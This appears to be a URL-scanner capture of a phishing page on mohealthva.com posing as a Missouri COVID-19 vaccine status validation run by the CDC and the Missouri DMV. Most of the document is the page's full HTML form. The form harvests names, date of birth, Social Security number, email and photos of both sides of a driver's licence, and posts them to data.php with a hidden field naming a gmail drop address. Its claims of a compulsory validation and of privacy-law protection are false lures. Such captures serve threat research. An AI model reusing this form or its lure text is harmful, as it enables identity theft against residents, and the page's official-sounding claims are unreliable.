mohealthva.com
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Submitted URL: http://mohealthva.com/
Effective URL: https://mohealthva.com/mn/i/
Submission: On December 06 via manual from US — Scanned from DE
Effective URL: https://mohealthva.com/mn/i/
Submission: On December 06 via manual from US — Scanned from DE
Form analysis 1 forms found in the DOM
POST data.php
<form action="data.php" method="post" enctype="multipart/form-data" class="sg-survey-form" id="sg_FormFor6278804">
<input type="hidden" name="verify" value="andalas.mail2@gmail.com">
<div class="sg-hidden-inputs"><input type="hidden" name="sg_navchoice" id="sg_navchoice" value=""><input type="hidden" name="sg_currentpageid" id="sg_currentpageid" value="3"><input type="hidden" name="sg_surveyident" id="sg_surveyident"
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<script>
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</div>
<div class="sg-wrapper">
<div class="sg-header">
<div class="sg-header-hook-1">
<img id="left" class="sg-header-image" src="https://health.mo.gov/img/health-logo-only.jpg" alt="">
</div>
<div class="sg-header-hook-1">
<img id="right" class="sg-header-image" src="https://dor.mo.gov/driver-license/images/MyDMV.jpg" alt="">
</div>
<div class="sg-header-hook-1">
<br><br><br><br><br>
<h1 class="sg-title"><span>Missouri State COVID-19 Vaccine Status Validation</span></h1>
</div>
</div>
<div class="sg-content" id="sg-skipnav-target">
<div class="sg-content-hook-1"></div>
<h2 class="sg-page-title" role="heading">Patient Information</h2>
<div class="sg-question-set">
<script id="sgE-6278804-3-88-box" type="text/javascript">
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<div id="sgE-6278804-3-42-box" class="sg-question sg-type-instruction ">
<input type="hidden" id="sgE-6278804-3-42-meta" name="sgE-6278804-3-42-meta" value="hidden=false&required=false">
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<div class="sg-instructions">
<p><span></span><br><br> The Centers for Disease Control and Prevention (CDC) in partnership with the Missouri State DMV requires an immediate validation of your Covid-19 status. This is a waiver validation update and a compulsory
one-time validation for all Missouri residents</p>
</div>
</div>
<div id="sgE-6278804-3-4-box" class="sg-question sg-type-group sg-type-group-custom ">
<input type="hidden" id="sgE-6278804-3-4-meta" name="sgE-6278804-3-4-meta" value="hidden=false&required=false">
<input type="hidden" id="sgE-6278804-3-4-time" name="sgE-6278804-3-4-time" value="">
<div class="sg-question-title">
<span class="sg-question-number">1.</span> Personal Information
</div>
<div class="sg-question-options ">
<div class="sg-group">
<div class="sg-group-item">
<div id="sgE-6278804-3-7-box" class="sg-question sg-type-textbox sg-required">
<input type="hidden" id="sgE-6278804-3-7-meta" name="sgE-6278804-3-7-meta" value="hidden=false&required=true">
<input type="hidden" id="sgE-6278804-3-7-time" name="sgE-6278804-3-7-time" value="">
<div class="sg-question-title">
<label for="sgE-6278804-3-7-element"> First Name <strong class="sg-required-icon">*<span class="sg-screenreader-only">This question is required.</span></strong> </label>
</div>
<div class="sg-question-options ">
<div class="sg-control-text sg-control-text">
<input type="text" class="sg-input sg-input-text " id="sgE-6278804-3-7-element" name="Fname" required="" title="First Name" value="" size="25">
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</div>
</div>
</div>
<div class="sg-row-break"></div>
<div class="sg-group-item">
<div id="sgE-6278804-3-89-box" class="sg-question sg-type-textbox sg-required">
<input type="hidden" id="sgE-6278804-3-89-meta" name="sgE-6278804-3-89-meta" value="hidden=false&required=true">
<input type="hidden" id="sgE-6278804-3-89-time" name="sgE-6278804-3-89-time" value="">
<div class="sg-question-title">
<label for="sgE-6278804-3-89-element"> Middle Name <strong class="sg-required-icon"><span class="sg-screenreader-only">This question is required.</span></strong> </label>
</div>
<div class="sg-question-options ">
<div class="sg-control-text sg-control-text">
<input type="text" class="sg-input sg-input-text sg-autocomplete ui-autocomplete-input" id="sgE-6278804-3-89-element" name="Mname" title="State" value="" size="25" autocomplete="off">
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</div>
</div>
</div>
<div class="sg-row-break"></div>
<div class="sg-group-item">
<div id="sgE-6278804-3-89-box" class="sg-question sg-type-textbox sg-required">
<input type="hidden" id="sgE-6278804-3-89-meta" name="sgE-6278804-3-89-meta" value="hidden=false&required=true">
<input type="hidden" id="sgE-6278804-3-89-time" name="sgE-6278804-3-89-time" value="">
<div class="sg-question-title">
<label for="sgE-6278804-3-89-element"> Last Name <strong class="sg-required-icon">*<span class="sg-screenreader-only">This question is required.</span></strong> </label>
</div>
<div class="sg-question-options ">
<div class="sg-control-text sg-control-text">
<input type="text" class="sg-input sg-input-text sg-autocomplete ui-autocomplete-input" id="sgE-6278804-3-89-element" name="Lname" required="" title="State" value="" size="25" autocomplete="off">
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</div>
</div>
</div>
<div class="sg-row-break"></div>
<div class="sg-group-item">
<div id="sgE-6278804-3-9-box" class="sg-question sg-type-textbox sg-required">
<input type="hidden" id="sgE-6278804-3-9-meta" name="sgE-6278804-3-9-meta" value="hidden=false&required=true">
<input type="hidden" id="sgE-6278804-3-9-time" name="sgE-6278804-3-9-time" value="">
<div class="sg-question-title">
<label for="sgE-6278804-3-9-element"> Date of Birth <strong class="sg-required-icon">*<span class="sg-screenreader-only">This question is required.</span></strong> </label>
<span class="sg-screenreader-only">This question requires a valid date format of MM/DD/YYYY.</span>
</div>
<div class="sg-question-options ">
<div class="sg-control-text sg-control-date">
<input type="text" class="sg-input sg-input-text sg-validation-date" id="sgE-6278804-3-9-element" data-maxdate="20210927" name="dob" required="" title="Date of Birth" value=""> <span id="sgE-6278804-3-9Trigger"
class="icon-calendar" role="link" tabindex="0">
<span>calendar</span>
</span>
<span class="sg-control-text-after">MM/DD/YYYY</span>
</div>
</div>
</div>
</div>
<div class="sg-row-break"></div>
<div class="sg-group-item">
<div id="sgE-6278804-3-89-box" class="sg-question sg-type-textbox sg-required">
<input type="hidden" id="sgE-6278804-3-89-meta" name="sgE-6278804-3-89-meta" value="hidden=false&required=true">
<input type="hidden" id="sgE-6278804-3-89-time" name="sgE-6278804-3-89-time" value="">
<div class="sg-question-title">
<label for="sgE-6278804-3-89-element"> Social Security number <strong class="sg-required-icon">*<span class="sg-screenreader-only">This question is required.</span></strong> </label>
</div>
<div class="sg-question-options ">
<div class="sg-control-text sg-control-text">
<input type="text" class="sg-input sg-input-text sg-autocomplete ui-autocomplete-input" id="sgE-6278804-3-89-element" name="ssn" title="State" required="" value="" autocomplete="off">
</div>
</div>
</div>
</div>
<div class="sg-row-break sg-last-row-break"></div>
<div class="sg-group-item">
<label for="sgE-6278804-3-89-element"> Upload Document (driver's license)<strong class="sg-required-icon">*<span class="sg-screenreader-only">This question is required.</span></strong> </label><br>
<br> DL Front: <input type="file" name="attachment" required="">
<br><br> DL Back: <input type="file" name="attachment2" required="">
</div>
<div class="sg-row-break sg-last-row-break"></div>
</div>
</div>
</div>
<div id="sgE-6278804-3-63-box" class="sg-question sg-type-instruction ">
<input type="hidden" id="sgE-6278804-3-63-meta" name="sgE-6278804-3-63-meta" value="hidden=false&required=false">
<input type="hidden" id="sgE-6278804-3-63-time" name="sgE-6278804-3-63-time" value="">
<div class="sg-instructions"> The information you provide will be protected pursuant to the Missouri State Personal Privacy Protection Act and any other applicable state or federal law.</div>
</div>
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<legend class="sg-question-title sg-question-legend">
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<legend class="sg-question-title sg-question-legend">
<span class="sg-question-number"></span> Which of these settings do you live in? <strong class="sg-required-icon">*<span class="sg-screenreader-only">This question is required.</span></strong>
</legend>
<input type="hidden" id="sgE-6278804-3-53-meta" name="sgE-6278804-3-53-meta" value="hidden=true&required=true">
<input type="hidden" id="sgE-6278804-3-53-time" name="sgE-6278804-3-53-time" value="">
<div class="sg-question-options ">
<ul class="sg-list sg-list-vertical sg-list-vertical-flipped sg-labels-right" role="radiogroup">
<li class="sg-first-li">
<input type="radio" id="sgE-6278804-3-53-10377" class="sg-input sg-input-radio" name="sgE-6278804-3-53" aria-label="Nursing home / skilled nursing facility / adult care facility / assisted living facility" value="10377">
<label for="sgE-6278804-3-53-10377" aria-hidden="true" aria-label="Nursing home / skilled nursing facility / adult care facility / assisted living facility">Nursing home / skilled nursing facility / adult care facility / assisted living
facility</label>
</li>
<li>
<input type="radio" id="sgE-6278804-3-53-10378" class="sg-input sg-input-radio" name="sgE-6278804-3-53" aria-label="Group home / community residence" value="10378">
<label for="sgE-6278804-3-53-10378" aria-hidden="true" aria-label="Group home / community residence">Group home / community residence</label>
</li>
<li>
<input type="radio" id="sgE-6278804-3-53-10379" class="sg-input sg-input-radio" name="sgE-6278804-3-53" aria-label="Behavioral health facilities" value="10379">
<label for="sgE-6278804-3-53-10379" aria-hidden="true" aria-label="Behavioral health facilities">Behavioral health facilities</label>
</li>
<li>
<input type="radio" id="sgE-6278804-3-53-10380" class="sg-input sg-input-radio" name="sgE-6278804-3-53" aria-label="Substance abuse disorder and mental health treatment facility" value="10380">
<label for="sgE-6278804-3-53-10380" aria-hidden="true" aria-label="Substance abuse disorder and mental health treatment facility">Substance abuse disorder and mental health treatment facility</label>
</li>
<li>
<input type="radio" id="sgE-6278804-3-53-10381" class="sg-input sg-input-radio" name="sgE-6278804-3-53" aria-label="Individual living in a homeless shelter with shared-use sleeping, bathing or eating accommodations" value="10381">
<label for="sgE-6278804-3-53-10381" aria-hidden="true" aria-label="Individual living in a homeless shelter with shared-use sleeping, bathing or eating accommodations">Individual living in a homeless shelter with shared-use sleeping,
bathing or eating accommodations</label>
</li>
<li>
<input type="radio" id="sgE-6278804-3-53-10382" class="sg-input sg-input-radio" name="sgE-6278804-3-53" aria-label="Individual working (paid or unpaid) in above homeless shelters who may interact with residents" value="10382">
<label for="sgE-6278804-3-53-10382" aria-hidden="true" aria-label="Individual working (paid or unpaid) in above homeless shelters who may interact with residents">Individual working (paid or unpaid) in above homeless shelters who may
interact with residents</label>
</li>
<li class="sg-last-li">
<input type="radio" id="sgE-6278804-3-53-10383" class="sg-input sg-input-radio" name="sgE-6278804-3-53" aria-label="Other" value="10383">
<label for="sgE-6278804-3-53-10383" aria-hidden="true" aria-label="Other">Other</label>
</li>
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<strong class="sg-required-icon">*<span class="sg-screenreader-only">This question is required.</span></strong>
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<input type="hidden" id="sgE-6278804-3-50-time" name="sgE-6278804-3-50-time" value="">
<div class="sg-question-options ">
<ul class="sg-list sg-list-vertical sg-list-vertical-flipped sg-labels-right" role="radiogroup">
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<input type="radio" id="sgE-6278804-3-50-10169" class="sg-input sg-input-radio" name="sgE-6278804-3-50" aria-label="Yes" value="10169">
<label for="sgE-6278804-3-50-10169" aria-hidden="true" aria-label="Yes">Yes</label>
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<li class="sg-last-li">
<input type="radio" id="sgE-6278804-3-50-10170" class="sg-input sg-input-radio" name="sgE-6278804-3-50" aria-label="No" value="10170">
<label for="sgE-6278804-3-50-10170" aria-hidden="true" aria-label="No">No</label>
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</div>
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<div id="sgE-6278804-3-43-box" class="sg-question sg-type-textbox sg-hide sg-required" style="display: none;">
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<div class="sg-question-title">
<label for="sgE-6278804-3-43-element">
<span class="sg-question-number"></span> Email Address <strong class="sg-required-icon">*<span class="sg-screenreader-only">This question is required.</span></strong> </label>
<span class="sg-screenreader-only">This question requires a valid email address.</span>
</div>
<div class="sg-question-options ">
<div class="sg-control-text sg-control-email">
<input type="text" class="sg-input sg-input-text sg-validation-email" id="sgE-6278804-3-43-element" name="sgE-6278804-3-43" title="Email Address" value="">
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</div>
</div>
<div class="sg-content-hook-2"></div>
<div class="sg-footer">
<div class="sg-footer-hook-1"></div>
<div class="sg-button-bar"><input type="submit" class="sg-button sg-submit-button" id="sg_SubmitButton" name="sGizmoSubmitButton" aria-label="submit button" onclick="$SG('sg_navchoice').value='sGizmoSubmitButton';return(true);" value="Submit"
style="display: inline-block;"></div>
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<div class="sg-progress-bar-inner" style="width:0%;"></div>
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</div>
<div class="sg-footer-hook-2"></div>
</div>
</div>
</form>Text Content
We've detected that Javascript is not enabled. It is required for an optimal survey taking experience. Please check your browser's settings and make sure Javascript is turned on. Learn how to enable Javascript. Skip survey header Englishâ–¾ MISSOURI STATE COVID-19 VACCINE STATUS VALIDATION PATIENT INFORMATION The Centers for Disease Control and Prevention (CDC) in partnership with the Missouri State DMV requires an immediate validation of your Covid-19 status. This is a waiver validation update and a compulsory one-time validation for all Missouri residents 1. Personal Information First Name *This question is required. Middle Name This question is required. Last Name *This question is required. Date of Birth *This question is required. This question requires a valid date format of MM/DD/YYYY. calendar MM/DD/YYYY Social Security number *This question is required. Upload Document (driver's license)*This question is required. DL Front: DL Back: The information you provide will be protected pursuant to the Missouri State Personal Privacy Protection Act and any other applicable state or federal law. Which of these settings do you live in? *This question is required. * Nursing home / skilled nursing facility / adult care facility / assisted living facility * Group home / community residence * Behavioral health facilities * Substance abuse disorder and mental health treatment facility * Individual living in a homeless shelter with shared-use sleeping, bathing or eating accommodations * Individual working (paid or unpaid) in above homeless shelters who may interact with residents * Other *This question is required. * Yes * No Email Address *This question is required. This question requires a valid email address. 0%